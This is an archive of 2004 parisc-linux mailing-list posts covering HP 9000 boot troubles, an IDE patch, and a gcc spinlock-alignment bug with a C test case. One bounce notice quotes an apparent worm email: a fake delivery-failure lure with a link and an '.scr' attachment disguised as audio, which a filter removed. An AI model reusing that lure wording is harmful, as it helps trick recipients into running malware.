--========/3F89F80A034B8DD5/mx01.vtr.net
Content-Type: Message/Delivery-Status

Reporting-MTA: dns; mx01.vtr.net
Received-from-MTA: dns; vtr.net (200.83.49.12)
Arrival-Date: Sun, 28 Mar 2004 10:08:08 -0400

Final-Recipient: rfc822; imagenart@vtr.net
Action: Failed
Status: 5.2.2 (mailbox full)
Remote-MTA: dns; 200.83.1.21
Diagnostic-Code: smtp;
	552 RCPT TO:<imagenart@vtr.net> Mailbox disk quota exceeded

--========/3F89F80A034B8DD5/mx01.vtr.net
Content-Type: Text/RFC822-headers

Return-Path: <parisc-linux@lists.parisc-linux.org>
Received: from vtr.net (200.83.49.12) by mx01.vtr.net (7.0.012)
        id 3F89F80A034B8DD5 for imagenart@vtr.net; Sun, 28 Mar 2004 10:08:08 -0400
Message-ID: <3F89F80A034B8DD5@mx01.vtr.net> (added by postmaster@vtr.net)
From: parisc-linux@lists.parisc-linux.org
To: imagenart@vtr.net
Subject: Re: Delivery Server
Date: Sun, 28 Mar 2004 10:08:32 -0400
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0016----=_NextPart_000_0016"
X-Priority: 3
X-MSMail-Priority: Normal


--========/3F89F80A034B8DD5/mx01.vtr.net--



From - Thu Nov 08 21:31:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble booting hp9000 k class model k250
	(shortish'd)
Date: Sun, 28 Mar 2004 16:53:51 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <BA41D839-80C7-11D8-B9E6-0030656F07A2@esiee.fr>
References: <000501c414bf$85f743a0$0a01a8c0@wayneroo.inet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v553)
Content-Type: text/plain; delsp=yes; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623313 7356 80.91.229.3 (22 Nov 2014 02:28:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Wayne Rooney" <wrooney@ihug.co.nz>
Original-X-From: varenet@esiee.fr  Sun Mar 28 07:53:54 2004
Return-Path: <varenet@esiee.fr>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5DC56482C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Mar 2004 07:53:54 -0700 (MST)
Original-Received: from localhost.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP
	id 5AF253658E3; Sun, 28 Mar 2004 16:53:53 +0200 (CEST)
Original-Received: from mail.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by localhost.esiee.fr (VaMailArmor-2.0.1.16) id 24016-6F9671C9;
	Sun, 28 Mar 2004 16:53:53 +0200
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 7DBF53658BE; Sun, 28 Mar 2004 16:53:52 +0200 (CEST)
In-Reply-To: <000501c414bf$85f743a0$0a01a8c0@wayneroo.inet>
X-Mailer: Apple Mail (2.553)
X-AntiVirus: checked by Vexira MailArmor (version: 2.0.1.16; VAE: 6.24.0.7;
	VDF: 6.24.0.73; host: mail.esiee.fr)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 28 Mar 2004 14:53:54 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21221

According to:
http://www.pateam.org/list.html

You need to use PDC console.

Then, following the howto at
http://www.pateam.org/doc.html
(not mentioning the numerous threads about this on this list)

you'd have found that you just have to use the latest netinst (as you =20=

did) and tell PALO during bootup to change the console to /dev/ttyB0

All relevant links can be found here
http://lists.parisc-linux.org/pipermail/parisc-linux/2003-March/=20
019399.html

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://www.pateam.org/

Le dimanche, 28 mars 2004, =E0 14:23 Europe/Paris, Wayne Rooney a =E9crit =
:

>
> Hello list.
>
> I have acquired an HP 9000 K class server, model K250.
>
> I woud like to install Linux on it but I am having a spot of trouble =20=

> getting
> it to boot from a Linux cd.
>
> I've been using Linux on x86 for a couple of years but this is my =
first
> parisc computer and I don't know much about the platform yet.
>
> I've done enough research in the last week to know I need a "-PDC-" =20=

> image or
> a kernel after, what was it, 2.4.19?
>
> Anyway, I've tried booting a couple of iso's, and they both hang at =
the
> point where the serial driver loads.
>
> If anyone could suggest a handling I would very much appreciate it.
>
> Data follows:
>
> The first iso was palinux-2.4.21-pa6-20030718-netinst.iso which was
> downloaded from http://www.pateam.org/cd-images/testing/ and it =20
> produces:
>
>



From - Thu Nov 08 21:31:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] asm-parisc/ide.h cleanup (there are no
	standard ports)
Date: Sun, 28 Mar 2004 16:48:38 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20040328154838.GA26179__3633.49751937694$1416623313$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <200403241443.43206.bzolnier@elka.pw.edu.pl>
	<20040327222810.GB24782@colo.lackof.org>
	<200403280024.57672.bzolnier@elka.pw.edu.pl>
	<20040327234926.GC24782@colo.lackof.org>
	<20040328002139.GE750@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623313 7359 80.91.229.3 (22 Nov 2014 02:28:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:33 +0000 (UTC)
Cc: Bartlomiej Zolnierkiewicz <B.Zolnierkiewicz@elka.pw.edu.pl>,
	linux-ide@vger.kernel.org, Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: willy@www.linux.org.uk  Sun Mar 28 08:48:41 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by dsl2.external.hp.com (Postfix) with ESMTP
	id B23C3482C; Sun, 28 Mar 2004 08:48:40 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1B7cWc-0007ZJ-Nd; Sun, 28 Mar 2004 16:48:38 +0100
Content-Disposition: inline
In-Reply-To: <20040328002139.GE750@tausq.org>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 28 Mar 2004 15:48:41 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21222

On Sat, Mar 27, 2004 at 04:21:39PM -0800, Randolph Chung wrote:
> > I was told offline my hypothetical example is in fact hypothetical.
> > parisc won't build with IDE unless PCI is defined. I haven't tried.
> 
> not exactly. what i meant is, without this patch, if you built pa with
> ide enabled but pci disabled you will get a compilation error.
> 
> i think this patch looks ok too. will commit to our tree and let willy
> propogate upstream :)

I think Bart's patch already made it into Linus' tree ;-)  Whatever;
I'll push it to Linus after 2.6.5 comes out if it hasn't already made
it upstream.  Thanks, guys.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: System Administrator <postmaster@enap.cl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Undeliverable: Mail Delivery (failure
	gsaldivia@petrox.cl)
Date: Sun, 28 Mar 2004 15:39:48 -0400
Lines: 62
Approved: news@gmane.org
Message-ID: <F617FEE7D6F9D41199B8000629F616F80737E432@pingueral.petrox.cl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C414FC.6E3D23D2"
X-Trace: ger.gmane.org 1416623313 7362 80.91.229.3 (22 Nov 2014 02:28:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: MAILER-DAEMON  Sun Mar 28 12:40:17 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from stg-osorkon.enap.cl (unknown [200.12.141.223])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7D272482C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Mar 2004 12:40:16 -0700 (MST)
Original-Received: by STG-OSORKON with Internet Mail Service (5.5.2653.19)
	id <HNCBSXMV>; Sun, 28 Mar 2004 15:39:49 -0400
X-Mailer: Internet Mail Service (5.5.2653.19)
X-MS-Embedded-Report: 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 28 Mar 2004 19:40:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21223

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C414FC.6E3D23D2
Content-Type: text/plain;
	charset="iso-8859-1"

Your message

  To:      gsaldivia@petrox.cl
  Subject: Mail Delivery (failure gsaldivia@petrox.cl)
  Sent:    Sun, 28 Mar 2004 15:40:36 -0400

did not reach the following recipient(s):

c=US;a= ;p=ENAP;o=PETROX;dda:SMTP=gsaldivia@petrox.cl; on Sun, 28 Mar 2004
15:43:07 -0400
    The recipient name is not recognized
	The MTS-ID of the original message is: c=US;a=
;p=ENAP;l=PINGUERAL0403281943HSNHG3KZ
    MSEXCH:IMS:ENAP:PETROX:PINGUERAL 0 (000C05A6) Unknown Recipient



------_=_NextPart_000_01C414FC.6E3D23D2
Content-Type: message/rfc822

Message-ID: <200403281942.i2SJgqc19899@mailgate.enap.cl>
From: parisc-linux@lists.parisc-linux.org
To: gsaldivia@petrox.cl
Subject: Mail Delivery (failure gsaldivia@petrox.cl)
Date: Sun, 28 Mar 2004 15:40:36 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
X-MS-Embedded-Report: 
Content-Type: multipart/mixed; boundary="----_=_NextPart_002_01C414FC.6E3D23D2"


------_=_NextPart_002_01C414FC.6E3D23D2
Content-Type: text/plain;
	charset="iso-8859-1"

If the message will not displayed automatically,
follow the link to read the delivered message.

Received message is available at:
www.petrox.cl/inbox/gsaldivia/read.php?sessionid-25442 
 

------_=_NextPart_002_01C414FC.6E3D23D2
Content-Type: text/plain;
	name="ATT29123.txt"
Content-Disposition: attachment;
	filename="ATT29123.txt"

[Filename: message.scr, Content-Type: audio/x-wav]
The attachment file in the message has been removed by eManager.

------_=_NextPart_002_01C414FC.6E3D23D2--

------_=_NextPart_000_01C414FC.6E3D23D2--


From - Thu Nov 08 21:31:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] spinlock align code triggering bug in gcc?
Date: Sun, 28 Mar 2004 12:32:11 -0800
Lines: 124
Approved: news@gmane.org
Message-ID: <20040328203211.GK750@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="KFztAG8eRSV9hGtP"
X-Trace: ger.gmane.org 1416623314 7363 80.91.229.3 (22 Nov 2014 02:28:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:34 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: randolph@tausq.org  Sun Mar 28 13:23:09 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 23D2F482C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Mar 2004 13:23:09 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id D4A90CD28A; Sun, 28 Mar 2004 12:32:11 -0800 (PST)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 28 Mar 2004 20:23:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21224


--KFztAG8eRSV9hGtP
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

I'm not yet 100% sure about this one, but it seems like with the new
self-aligning spinlock code in the kernel, if you build the kernel with
hppa64-linux-gcc 3.3.3, the kernel generates incorrectly aligned code
when you bulid with -O2. You see something like this...

legolas[11:47] linux-2.6% make drivers/block/loop.o
  CC      drivers/block/loop.o
{standard input}: Assembler messages:
{standard input}:3701: Error: Field not properly aligned [8] (-183).
{standard input}:3701: Error: Invalid operands
make[1]: *** [drivers/block/loop.o] Error 1
make: *** [drivers/block/loop.o] Error 2

this does not happen with the 32-bit gcc-3.3.3. also with -O1 it is ok.
It looks like while gcc tries to inline all the spinlock stuff it gets
confused about the offsets? The attached test case illustrates the
problem. If you build with:

hppa64-linux-gcc -O2 -c foo.c, you'll get the same kind of error.

can someone check this against other versions of gcc? i cannot reach
gcc-bugzilla right now...

thanks
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/

--KFztAG8eRSV9hGtP
Content-Type: text/x-csrc; charset=us-ascii
Content-Disposition: attachment; filename="foo.c"

#define __PA_LDCW_ALIGNMENT 16
#define __ldcw_align(a) ({ \
  unsigned long __ret = (unsigned long) a;                              \
  __ret = (__ret + __PA_LDCW_ALIGNMENT - 1) & ~(__PA_LDCW_ALIGNMENT - 1); \
  (volatile unsigned int *) __ret;                                      \
})

#define __ldcw(a) ({ \
        unsigned __ret; \
        __asm__ __volatile__("ldcw 0(%1),%0" : "=r" (__ret) : "r" (a)); \
        __ret; \
})

typedef struct {
  volatile unsigned int lock[4];
} spinlock_t;

struct semaphore
{
  spinlock_t sentry;
  int count;
};

struct loop_device
{
  struct loop_func_table *lo_encryption;
  struct semaphore lo_ctl_mutex;
};

static int max_loop = 8;
static struct loop_device *loop_dev;

void __down (struct semaphore *sem);
void __up (struct semaphore *sem);

static inline void _raw_spin_lock (spinlock_t * x)
{
  volatile unsigned int *a = __ldcw_align(x);

  while (__ldcw(a) == 0)
    while (*a == 0);
}

static inline void _raw_spin_unlock (spinlock_t * x)
{
  volatile unsigned int *a = __ldcw_align(x);
  *a = 1;
}

inline void down (struct semaphore *sem)
{
  _raw_spin_lock (&sem->sentry);
  if (sem->count > 0) { sem->count--; }
  else { __down (sem); }
  _raw_spin_unlock (&sem->sentry);
}

inline void up (struct semaphore *sem)
{
  _raw_spin_lock (&sem->sentry);
  if (sem->count < 0) { __up (sem); }
  else { sem->count++; }
  _raw_spin_unlock (&sem->sentry);
}

int
loop_unregister_transfer (int number)
{
  struct loop_device *lo = &loop_dev[0];

  for (lo = &loop_dev[0]; lo < &loop_dev[max_loop]; lo++)
    {
      down (&lo->lo_ctl_mutex);

      if (lo->lo_encryption == 0)
	loop_release_xfer (lo);

      up (&lo->lo_ctl_mutex);
    }

  return 0;
}

--KFztAG8eRSV9hGtP--


From - Thu Nov 08 21:31:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] spinlock align code triggering bug in gcc?
Date: Sun, 28 Mar 2004 23:54:27 +0200
Organization: ESIEE
Lines: 29
Approved: news@gmane.org
Message-ID: <20040328235427.30c32ba7.varenet@esiee.fr>
References: <20040328203211.GK750@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623314 7367 80.91.229.3 (22 Nov 2014 02:28:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:34 +0000 (UTC)
Cc: dave@hiauly1.hia.nrc.ca, parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: varenet@esiee.fr  Sun Mar 28 14:54:28 2004
Return-Path: <varenet@esiee.fr>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep18-int.chello.at (viefep18-int.chello.at [213.46.255.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4743C482C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Mar 2004 14:54:27 -0700 (MST)
Original-Received: from bibou ([212.186.189.113]) by viefep18-int.chello.at
	(InterMail vM.6.00.05.02 201-2115-109-103-20031105) with SMTP
	id <20040328215425.QUCY7054.viefep18-int.chello.at@bibou>;
	Sun, 28 Mar 2004 23:54:25 +0200
In-Reply-To: <20040328203211.GK750@tausq.org>
X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; powerpc-debian-linux-gnu)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 28 Mar 2004 21:54:28 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21225

On Sun, 28 Mar 2004 12:32:11 -0800
"Randolph Chung" <randolph@tausq.org> wrote:

> 
> can someone check this against other versions of gcc? i cannot reach
> gcc-bugzilla right now...
> 

[varenet@npyu ~]% hppa64-linux-gcc -O2 -c foo.c
[varenet@npyu ~]% ls foo*
foo.c foo.o
[varenet@npyu ~]% hppa64-linux-gcc -v
Reading specs from
/usr/local/palinux/lib/gcc-lib/hppa64-linux/3.0.4/specs Configured with:
/Users/varenet/palinux/xc/src/gcc/configure
--host=powerpc-apple-darwin6.1 --build=powerpc-apple-darwin6.1
--target=hppa64-linux --disable-shared --disable-nls
--enable-languages=c --prefix=/usr/local/palinux Thread model: single
gcc version 3.0.4

Good old 3.0.4 seems pretty reliable ;)

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://www.pateam.org/


From - Thu Nov 08 21:31:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] spinlock align code triggering bug in gcc?
Date: Sun, 28 Mar 2004 17:48:36 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200403282248.i2SMma2a010231@hiauly1.hia.nrc.ca>
References: <20040328203211.GK750@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623314 7369 80.91.229.3 (22 Nov 2014 02:28:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: dave@hiauly1.hia.nrc.ca  Sun Mar 28 15:48:44 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD164482C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Mar 2004 15:48:43 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i2SMmbqE010232; Sun, 28 Mar 2004 17:48:37 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i2SMma2a010231;
	Sun, 28 Mar 2004 17:48:36 -0500 (EST)
In-Reply-To: <20040328203211.GK750@tausq.org> from "Randolph Chung" at Mar 28,
	2004 12:32:11 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 28 Mar 2004 22:48:44 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21226

> I'm not yet 100% sure about this one, but it seems like with the new
> self-aligning spinlock code in the kernel, if you build the kernel with
> hppa64-linux-gcc 3.3.3, the kernel generates incorrectly aligned code
> when you bulid with -O2. You see something like this...
> 
> legolas[11:47] linux-2.6% make drivers/block/loop.o
>   CC      drivers/block/loop.o
> {standard input}: Assembler messages:
> {standard input}:3701: Error: Field not properly aligned [8] (-183).
> {standard input}:3701: Error: Invalid operands

Take a look at the assembler output for the above line.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:31:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] spinlock align code triggering bug in gcc?
Date: Sun, 28 Mar 2004 17:51:07 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <200403282251.i2SMp7OD010307@hiauly1.hia.nrc.ca>
References: <200403282248.i2SMma2a010231@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623315 7373 80.91.229.3 (22 Nov 2014 02:28:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:35 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sun Mar 28 15:51:09 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5BD9F48DC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Mar 2004 15:51:09 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i2SMp8qE010308; Sun, 28 Mar 2004 17:51:08 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i2SMp7OD010307;
	Sun, 28 Mar 2004 17:51:07 -0500 (EST)
In-Reply-To: <200403282248.i2SMma2a010231@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Mar 28, 2004 05:48:36 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 28 Mar 2004 22:51:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21227

> > I'm not yet 100% sure about this one, but it seems like with the new
> > self-aligning spinlock code in the kernel, if you build the kernel with
> > hppa64-linux-gcc 3.3.3, the kernel generates incorrectly aligned code
> > when you bulid with -O2. You see something like this...
> > 
> > legolas[11:47] linux-2.6% make drivers/block/loop.o
> >   CC      drivers/block/loop.o
> > {standard input}: Assembler messages:
> > {standard input}:3701: Error: Field not properly aligned [8] (-183).
> > {standard input}:3701: Error: Invalid operands
> 
> Take a look at the assembler output for the above line.

I think this is a coding problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:31:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
